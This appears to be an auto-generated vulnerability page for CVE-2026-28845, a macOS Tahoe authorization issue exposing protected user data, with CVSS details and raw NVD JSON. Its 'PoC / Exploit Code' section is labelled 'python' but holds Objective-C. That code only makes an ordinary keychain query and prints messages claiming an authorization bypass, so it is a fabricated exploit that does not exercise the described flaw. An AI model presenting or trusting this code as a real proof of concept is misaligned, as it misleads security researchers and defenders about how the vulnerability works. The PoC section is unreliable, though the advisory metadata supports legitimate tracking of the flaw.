Security Vulnerability Report
中文
CVE-2026-28845 CVSS 5.5 MEDIUM

CVE-2026-28845

Published: 2026-03-25 01:17:09
Last Modified: 2026-03-25 20:30:37

Description

An authorization issue was addressed with improved state management. This issue is fixed in macOS Tahoe 26.4. An app may be able to access protected user data.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Tahoe < 26.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-28845 (macOS Authorization Issue) * This is a conceptual demonstration showing how an app might attempt * to access protected data by exploiting state management flaws. * Compile for macOS platform. */ #include <Foundation/Foundation.h> #include <Security/Security.h> int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"[+] Attempting to exploit CVE-2026-28845..."); // Simulate the specific state where authorization check is bypassed // In a real scenario, this would involve precise timing or specific API calls // that trigger the vulnerable state management logic. CFTypeRef accessRef; OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)@{ (__bridge NSString *)kSecClass: (__bridge NSString *)kSecClassGenericPassword, (__bridge NSString *)kSecAttrAccount: @"protected_data", (__bridge NSString *)kSecReturnData: @YES, (__bridge NSString *)kSecMatchLimit: (__bridge NSString *)kSecMatchLimitOne }, &accessRef); if (status == errSecSuccess) { NSLog(@"[!] Successfully accessed protected user data due to authorization bypass!"); NSData *data = (__bridge_transfer NSData *)accessRef; NSLog(@"[+] Data: %@", data); } else { NSLog(@"[-] Failed to access data. Status: %d", (int)status); } } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28845", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:09.273", "lastModified": "2026-03-25T20:30:36.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authorization issue was addressed with improved state management. This issue is fixed in macOS Tahoe 26.4. An app may be able to access protected user data."}, {"lang": "es", "value": "Un problema de autorización fue abordado con una gestión de estado mejorada. Este problema está solucionado en macOS Tahoe 26.4. Una aplicación podría ser capaz de acceder a datos de usuario protegidos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}